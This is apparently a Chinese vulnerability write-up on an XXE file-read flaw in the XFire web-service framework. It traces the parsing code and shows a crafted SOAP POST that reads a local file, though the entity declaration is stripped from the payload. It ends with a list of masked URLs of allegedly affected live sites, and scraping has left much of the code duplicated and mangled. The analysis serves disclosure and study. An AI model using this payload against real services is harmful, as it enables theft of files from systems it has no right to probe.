php调用带验证的xfire,Xfire文件读取漏洞

xfire是流行的webservice开发组件，其在invoke时使用了STAX解析XML导致XML实体注入发生(其实标题应该是XXE的，不过那样太明显了^_^)。org\codehaus\xfire\transport\http\XFireServlet.java中：

public void init()

throws ServletException

{

try

{

super.init();

xfire = createXFire();

controller = createController();

}

catch (Throwable tx)

{

// log.er

logger.error("Error initializing XFireServlet.", tx);

throw new ServletException("Error initializing XFireServlet.", tx);

}

}public XFireServletController createController()

throws ServletException

{

return new XFireServletController(xfire, getServletContext());

}protected void doGet(HttpServletRequest request,

HttpServletResponse response)

throws ServletException, IOException

{

controller.doService(request, response);

}/**

* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.

*/

protected void doPost(HttpServletRequest req, HttpServletResponse res)

throws ServletException, IOException

{

controller.doService(req, res);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

publicvoidinit()

throwsServletException

{

try

{

super.init();

xfire=createXFire();

controller=createController();

}

catch(Throwabletx)

{

// log.er

logger.error("Error initializing XFireServlet.",tx);

thrownewServletException("Error initializing XFireServlet.",tx);

}

}publicXFireServletControllercreateController()

throwsServletException

{

returnnewXFireServletController(xfire,getServletContext());

}protectedvoiddoGet(HttpServletRequestrequest,

HttpServletResponseresponse)

throwsServletException,IOException

{

controller.doService(request,response);

}/**

* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.

*/

protectedvoiddoPost(HttpServletRequestreq,HttpServletResponseres)

throwsServletException,IOException

{

controller.doService(req,res);

}

在doGet与doPost方法中调用了 controller.doService(req, res)，定义如下(org\codehaus\xfire\transport\httpXFireServletController.java)：

public void doService(HttpServletRequest request,

HttpServletResponse response)

throws ServletException, IOException

{

String serviceName = getService(request);

if (serviceName == null) serviceName = "";ServiceRegistry reg = getServiceRegistry();response.setHeader("Content-Type", "UTF-8");try

{

requests.set(request);

responses.set(response);boolean hasService = reg.hasService(serviceName);

if (serviceName.length() == 0 || !hasService)

{

if (!hasService)

{

response.setStatus(404);

}generateServices(request,response);

return;

}if (isWSDLRequest(request))

{

generateWSDL(response, serviceName);

}

else

{

invoke(request, response, serviceName);

}

}

catch (Exception e)

{

logger.error("Couldn't invoke servlet request.", e);if (e instanceof ServletException)

{

throw (ServletException) e;

}

else

{

throw new ServletException(e);

}

}

finally

{

requests.set(null);

responses.set(null);

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

publicvoiddoService(HttpServletRequestrequest,

HttpServletResponseresponse)

throwsServletException,IOException

{

StringserviceName=getService(request);

if(serviceName==null)serviceName="";ServiceRegistryreg=getServiceRegistry();response.setHeader("Content-Type","UTF-8");try

{

requests.set(request);

responses.set(response);booleanhasService=reg.hasService(serviceName);

if(serviceName.length()==0||!hasService)

{

if(!hasService)

{

response.setStatus(404);

}generateServices(request,response);

return;

}if(isWSDLRequest(request))

{

generateWSDL(response,serviceName);

}

else

{

invoke(request,response,serviceName);

}

}

catch(Exceptione)

{

logger.error("Couldn't invoke servlet request.",e);if(einstanceofServletException)

{

throw(ServletException)e;

}

else

{

thrownewServletException(e);

}

}

finally

{

requests.set(null);

responses.set(null);

}

}

其中的invoke(request, response, serviceName)根据URI中获取到的serviceName来调用services.xml中定义的class：

protected void invoke(HttpServletRequest request,

HttpServletResponse response,

String service)

throws ServletException, IOException, UnsupportedEncodingException

{

response.setStatus(200);

response.setBufferSize(1024 * 8);MessageContext context = createMessageContext(request, response, service);

Channel channel = createChannel(context);String soapAction = getSoapAction(request);

String contentType = request.getContentType();

if (null == contentType)

{

response.setContentType("text/html; charset=UTF-8");

// TODO: generate service description hereresponse.getWriter().write("

Invalid SOAP request.");

response.getWriter().close();

}

……

else

{

// Remove " and ' char

String charEncoding = request.getCharacterEncoding();

charEncoding = dequote(charEncoding);

XMLStreamReader reader =

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);InMessage message = new InMessage(reader, request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION, soapAction);

channel.receive(context, message);try

{

reader.close();

}

catch (XMLStreamException e)

{

throw new XFireRuntimeException("Could not close XMLStreamReader.");

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

protectedvoidinvoke(HttpServletRequestrequest,

HttpServletResponseresponse,

Stringservice)

throwsServletException,IOException,UnsupportedEncodingException

{

response.setStatus(200);

response.setBufferSize(1024*8);MessageContextcontext=createMessageContext(request,response,service);

Channelchannel=createChannel(context);StringsoapAction=getSoapAction(request);

StringcontentType=request.getContentType();

if(null==contentType)

{

response.setContentType("text/html; charset=UTF-8");

// TODO: generate service description hereresponse.getWriter().write("

Invalid SOAP request.");

response.getWriter().close();

}

……

else

{

// Remove " and ' char

StringcharEncoding=request.getCharacterEncoding();

charEncoding=dequote(charEncoding);

XMLStreamReaderreader=

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);InMessagemessage=newInMessage(reader,request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION,soapAction);

channel.receive(context,message);try

{

reader.close();

}

catch(XMLStreamExceptione)

{

thrownewXFireRuntimeException("Could not close XMLStreamReader.");

}

}

}

在这里程序从数据流request.getInputStream()中读取内容，赋值给XMLStreamReader对象reader：

public static XMLStreamReader createXMLStreamReader(InputStream in, String encoding, MessageContext ctx)

{

XMLInputFactory factory = getXMLInputFactory(ctx);if (encoding == null) encoding = "UTF-8";try

{

return factory.createXMLStreamReader(in, encoding);

}

catch (XMLStreamException e)

{

throw new XFireRuntimeException("Couldn't parse stream.", e);

}

}XMLStreamReader reader =

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

publicstaticXMLStreamReadercreateXMLStreamReader(InputStreamin,Stringencoding,MessageContextctx)

{

XMLInputFactoryfactory=getXMLInputFactory(ctx);if(encoding==null)encoding="UTF-8";try

{

returnfactory.createXMLStreamReader(in,encoding);

}

catch(XMLStreamExceptione)

{

thrownewXFireRuntimeException("Couldn't parse stream.",e);

}

}XMLStreamReaderreader=

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);

这里已经有了XMLStreamReader，但是程序还没有解析XML，继续跟入，将reader写入message：

public InMessage(XMLStreamReader xmlStreamReader, String uri)

{

this.xmlStreamReader = xmlStreamReader;

setUri(uri);

setEncoding(xmlStreamReader.getCharacterEncodingScheme());

}InMessage message = new InMessage(reader, request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION, soapAction);

channel.receive(context, message);

1

2

3

4

5

6

7

8

publicInMessage(XMLStreamReaderxmlStreamReader,Stringuri)

{

this.xmlStreamReader=xmlStreamReader;

setUri(uri);

setEncoding(xmlStreamReader.getCharacterEncodingScheme());

}InMessagemessage=newInMessage(reader,request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION,soapAction);

channel.receive(context,message);

调用channel.receive(context, message)，receive()实现方法在org\codehaus\xfire\transport\AbstractChannel.java中：

public void receive(MessageContext context, InMessage message)

{

if (message.getChannel() == null)

message.setChannel(this);getEndpoint().onReceive(context, message);

}

1

2

3

4

5

publicvoidreceive(MessageContextcontext,InMessagemessage)

{

if(message.getChannel()==null)

message.setChannel(this);getEndpoint().onReceive(context,message);

}

调用了getEndpoint().onReceive(context, message)在org\codehaus\xfire\util\jdom\JDOMEndpoint.java实现：

public class JDOMEndpoint

implements ChannelEndpoint

{

private int count = 0;

private Document message;public void onReceive(MessageContext context, InMessage msg)

{

StaxBuilder builder = new StaxBuilder();

try

{

message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));

}

catch (XMLStreamException e)

{

e.printStackTrace();

}

count++;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

publicclassJDOMEndpoint

implementsChannelEndpoint

{

privateintcount=0;

privateDocumentmessage;publicvoidonReceive(MessageContextcontext,InMessagemsg)

{

StaxBuilderbuilder=newStaxBuilder();

try

{

message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));

}

catch(XMLStreamExceptione)

{

e.printStackTrace();

}

count++;

}

最终程序又从msg中读出了reader，使用STAX解析了XML：

message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));

1

message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));

org\codehaus\xfire\util\jdom\StaxBuilder.java

public Document build(XMLStreamReader r)

throws XMLStreamException

{

/*

* Should we do sanity checking to see that r is positioned at

* beginning? Not doing so will allow creating documents from sub-trees,

* though?

*/

JDOMFactory f = factory;

if (f == null)

{

f = new UncheckedJDOMFactory();

}

Document doc = f.document(null);

buildTree(f, r, doc);

return doc;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

publicDocumentbuild(XMLStreamReaderr)

throwsXMLStreamException

{

/*

* Should we do sanity checking to see that r is positioned at

* beginning? Not doing so will allow creating documents from sub-trees,

* though?

*/

JDOMFactoryf=factory;

if(f==null)

{

f=newUncheckedJDOMFactory();

}

Documentdoc=f.document(null);

buildTree(f,r,doc);

returndoc;

}

以上的流程简单化可以用以下代码取代：

import **.**.**.**.IOException;

import **.**.**.**.InputStream;

import javax.xml.stream.XMLInputFactory;

import javax.xml.stream.XMLStreamReader;

import javax.xml.stream.XMLStreamException;

import org.codehaus.xfire.util.jdom.StaxBuilder;public class DoXML {

private static String url="build.xml";

public static void testXMLStreamReader() throws IOException {

try {

XMLInputFactory factory = XMLInputFactory.newInstance();

InputStream in = DoXML.class.getClassLoader().getResourceAsStream(url);

XMLStreamReader reader = factory.createXMLStreamReader(in);

StaxBuilder builder = new StaxBuilder();

builder.build(reader);

}

catch (Exception e) {

e.printStackTrace();

}

}

public static void main(String[] argv)throws IOException{

testXMLStreamReader();

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

import **.**.**.**.IOException;

import **.**.**.**.InputStream;

importjavax.xml.stream.XMLInputFactory;

importjavax.xml.stream.XMLStreamReader;

importjavax.xml.stream.XMLStreamException;

importorg.codehaus.xfire.util.jdom.StaxBuilder;publicclassDoXML{

privatestaticStringurl="build.xml";

publicstaticvoidtestXMLStreamReader()throwsIOException{

try{

XMLInputFactoryfactory=XMLInputFactory.newInstance();

InputStreamin=DoXML.class.getClassLoader().getResourceAsStream(url);

XMLStreamReaderreader=factory.createXMLStreamReader(in);

StaxBuilderbuilder=newStaxBuilder();

builder.build(reader);

}

catch(Exceptione){

e.printStackTrace();

}

}

publicstaticvoidmain(String[]argv)throwsIOException{

testXMLStreamReader();

}

}

控制build.xml即可进行XXE：

下面使用xfire实例进行测试，本地搭建了一个基于xfire的webservice实现了一个hello方法：

直接发送以下数据包即可读取d:/xxetest.txt内容：

POST **.**.**.**:800/services/xfire_xxe_test HTTP/1.0

SOAPAction: ""

Content-Type: text/xml<?xml version="1.0" encoding="UTF-8"?>]>

0 &a;

1

2

3

4

5

6

7

8

9

10

11

POST **.**.**.**:800/services/xfire_xxe_testHTTP/1.0

SOAPAction:""

Content-Type:text/xml<?xmlversion ="1.0"encoding="UTF-8"?>]>

0&a;

Xfire使用得很广泛，特别是在一些通用程序中，简单列几个受影响的站点：

http://**.**.**.**/live800/services/IVerification?wsdl

http://**.**.**.**/juas/services/batchSSOUserService?wsdl

http://**.**.**.**:9080/mds/services/DataService?wsdl

http://**.**.**.**/was/services/LianDongService?wsdl

http://**.**.**.**/swwas/services/LianDongService?wsdl

1

2

3

4

5

http://**.**.**.**/live800/services/IVerification?wsdl

http://**.**.**.**/juas/services/batchSSOUserService?wsdl

http://**.**.**.**:9080/mds/services/DataService?wsdl

http://**.**.**.**/was/services/LianDongService?wsdl

http://**.**.**.**/swwas/services/LianDongService?wsdl